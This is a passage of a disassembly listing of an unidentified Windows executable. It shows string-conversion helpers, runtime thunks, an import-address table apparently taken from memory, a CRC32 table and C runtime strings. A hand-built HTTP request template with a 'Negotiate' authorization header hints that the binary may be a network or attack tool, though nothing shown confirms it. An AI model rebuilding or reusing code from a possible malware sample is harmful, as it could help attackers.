		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2801207h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2641168h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2641168h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	near ptr 2810000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	near ptr 2600558h
		nop
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600558h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2801207h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2801207h
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25D0000h, 25E0000h, 25E0595h, 25F0000h, 25F0AD8h
		dd 2600000h, 26004EAh, 2600558h, 2610000h, 261076Ch, 2610CB2h
		dd 2620000h, 2620858h, 26209E7h
dword_42703C	dd 2620A02h		; DATA XREF: ___:004231D9r
		dd 2620AB8h, 2620D29h, 2620D63h, 2630000h, 2640000h, 2641168h
		dd 2650000h, 2650444h, 2650985h, 77E75CB5h
dword_427068	dd 26509C3h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650CD4h, 2660000h, 2660979h
dword_427078	dd 2660EB7h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2670000h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 2670188h
dword_427084	dd 2670284h		; DATA XREF: sub_4196BC+B9r
		dd 267081Ah
dword_42708C	dd 267084Ch		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2670883h		; DATA XREF: ___:loc_4013DCr
		dd 2670BF0h, 2670D3Eh
dword_42709C	dd 2670E16h		; DATA XREF: sub_409B12+2r
		dd 2670F16h, 2680000h
dword_4270A8	dd 268054Ch		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 268063Ch		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2690000h, 2690BAFh
dword_4270B8	dd 26A0000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A0389h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C0596h, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D065Fh, 26D080Ah, 26E0000h, 26E08B2h
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F0929h		; DATA XREF: sub_418293+36r
		dd 26F0C4Ah, 2700000h
dword_4270F8	dd 27004B3h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2720000h, 2730000h, 2730A2Dh, 2740000h, 27407BFh, 2750000h
		dd 27502F5h, 2760000h, 2760AE6h, 2760E38h, 2770000h, 277010Fh
		dd 27709E6h, 2780000h, 27803EEh
dword_42713C	dd 2780670h		; DATA XREF: sub_416F1A+BCr
		dd 2790000h
dword_427144	dd 27A0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27A0B8Dh		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27A0BE4h
dword_427150	dd 27B0000h		; DATA XREF: sub_417275+56r
		dd 27B01E8h, 27C0000h, 27D0000h, 27D05D2h, 27D0BC8h, 27E0000h
		dd 27E015Bh, 27E0902h, 27F0000h, 2800000h
dword_42717C	dd 2801207h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2810000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 28110BCh, 2811522h, 28119E0h, 2811D64h, 2820000h, 2830000h
		dd 2840000h, 2850000h, 2860000h, 2870000h, 287197Bh, 28719A5h
		dd 2880000h, 2880F05h, 2890000h
dword_4271C0	dd 289065Dh		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28907B0h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 2890939h, 28A0000h, 28A06C2h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
